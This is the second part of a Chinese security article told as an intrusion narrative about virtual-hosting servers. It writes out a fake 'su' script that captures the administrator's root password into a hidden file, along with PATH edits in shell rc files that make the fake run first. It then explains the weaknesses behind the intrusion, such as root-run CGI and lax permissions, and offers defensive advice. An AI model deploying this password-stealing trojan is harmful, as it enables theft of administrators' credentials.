虚拟主机管理系统,由一次入侵实例看虚拟主机系统的安全问题(下)

由一次入侵实例看虚拟主机系统的安全问题(下) - 系统安全 - 电脑教程网

由一次入侵实例看虚拟主机系统的安全问题(下)

日期:2007-06-12   荐:
由一次入侵实例看虚拟主机系统的安全问题(下) 
[ 作者:Sinbad  转贴自:本站原创  点击数:77  文章录入:中国之鹰 ]
虽然到目前为止,我事实上已经控制了他所有的UNIX主机,也早就有了root权限,但root的密码我还是不知道,这多少还有点不甘心,怎样来得到这个密码呢?穷举当然是一种,但我就算知道了root密码,也不想要干什么,何必费这么大的劲,所以我决定来一招偷天换日,虽然sysadm很少会从telnet登录,但他总要有登陆的时候的,而且一登陆肯定要干root才干的事,他必须使用su命令让自己成为root,使用su命令的时候当然需要输入root的密码,我就可从这点入手,做一个假的su来欺骗,让他先运行的是我写的su,把他输入的密码保存到一个文件上,即使他的密码是对的,也给他出错提示,然后删除我的这个su,他再次运行的就是真正的su了。所以我用sysadm登录并写了如下脚本放在他的用户目录下,文件名为su
%vi su
#!/bin/sh
echo -n "PassWord:"
stty -echo;read PASSWD;stty echo
echo "$PASSWD">>/tmp/.password
echo;
echo "Sorry"
rm -fr ~/su
:wq
%chmod 755 su

为了让他先运行的是我的su而不是系统的su,还需要改变shell的rc文件,所以打开.cshrc 在
set path = (/sbin /bin /usr/sbin /usr/bin /usr/local/sbin /usr/local/bin $HOME/bin)前面增加一个~,
即让系统在查找命令时首先查找的是自己的目录,就是放有我写的su的目录,变成这个样子
set path = (~ /sbin /bin /usr/sbin /usr/bin /usr/local/sbin /usr/local/bin $HOME/bin)
因为不知道他会使用那个shell,所以每一个rc文件都做了同样的处理......

最后的结果当然是顺利的取得了root的密码,虽然这个方法看起来很简陋,容易看穿,但事实上却是非常的隐蔽,在一个UNIX系统上,输入密码是连个*都没有给你回显的,管理员去su的时候,一般都是有事,需要很快做好,输错一次密码应该还没感觉过来,就算之后感觉出来了但我这个su又是运行一次就删掉了,不像什么木马后门之类,做完事还大摸大样的留在那里,而rc文件,一般设置完成之后都很少有去看的,大不了我得到密码之后改回来就是了,基本上并没有留下什么痕迹。

实际上,这个入侵的实例,由头到尾都是极为普通的,没有什么高技术的成分,也没有现在人家都喜欢用的什么什么漏洞,什么什么溢出,只是由一个普通用户的弱口令开始,慢慢的发展到了整个主机群被控于一个入侵者的手中,事实上,操作系统和各种相关服务的本身并没有什么漏洞,问题主要还是发生在CGI程序的编写,维护中的疏忽,管理员对安全问题不敏感这些上。在系统本身的漏洞少这点上,应该可以看出,主机一开始是由一些资深的工程师配置,之后也会根据以发现的漏洞做修补,但在以后的管理过程中,是由下一层技术人员负责,这一层的人往往技术面不广,人家叫干什么就干什么,不会有很大的责任压力,这样就把安全问题越捅越大。如果没有那个备份文件,我根本不能了解那个以root运行的apache的cgi-bin的目录结构和具体的文件名,因为其他人并没有r权限。第二个就是suid为root的程序的写法不够严格(以root运行的apache执行CGI时和suid root是差不多一样的),在一个虚拟主机上,为了让用户可以通过web界面来管理,不得不让apache以root的身份运行,因为用户的设置,需要改变很多系统的配置文件,如passwd httpd.conf sendmail.cf 等等,虽然apache的suexe提供了比squid更多安全选项如docroot等,但在这里根本就派不上用场。所以这个CGI应该是每一行代码都要知道自己是以root运行的,丝毫不得有差错,但遗憾的是,我见到的大多数服务商的这种CGI都忘记了自己是谁,其写法和普通的CGI类似,创建的文件大多是设置为666,777,而程序本身的属性为755,事实上,当apache加入suexec这个功能后,CGI程序本身设置为700,其他文件为400就可以了,可以做到除了自己,任何人不可以读。如果没有这个属性的问题,在上面的实例中,我也不可能在cgi-bin下面创建文件,让apache去运行,也就无法改变主业,复制文件,修改程序。正是这一步,把整个系统推向了被毁灭的边缘。第三个问题就老生常谈了,人本身的安全意识问题,在几个服务商的主机上都发现了,同一个服务商,它的结构一样的不同的主机,某些目录的权限也不一样,这个很明显是在日常的维护中改变的。在维护过程中,对一些微妙的东西不注意,往往也是危险发生的原因,比如那个su,就这样让我把root密码给偷了去。而上面提及的问题,到头来也是体现在这个问题上,安全似乎没有大小之分,一个大的远程溢出可以让入侵者得到root,但只是一些小小疏忽也可以让入侵者得到root,但大家往往都把注意力集中在一些系统漏洞的修补上,却忽视了某些"小问题"。

[1] [2]  


在目前的技术水平上实现的虚拟主机,这些问题的出现应该说是在所难免的,因为这涉及到了服务商的整个员工队伍的素质问题,在没有更好的虚拟主机的实现方法之前,如果从技术方面考虑,我觉得应该在权限方面多下功夫,比如用程序隔一定时间(如一小时)检查各个重要的目录、文件是否有被修改,用编译的程序来代替脚本类型的程序等等,说下去又一长篇大论,本人知识水平有限,为了避免在各位高人面前班门弄斧,就此打住。 
  
 


(出处:http://www.sheup.com)


 [1] [2] 

标签: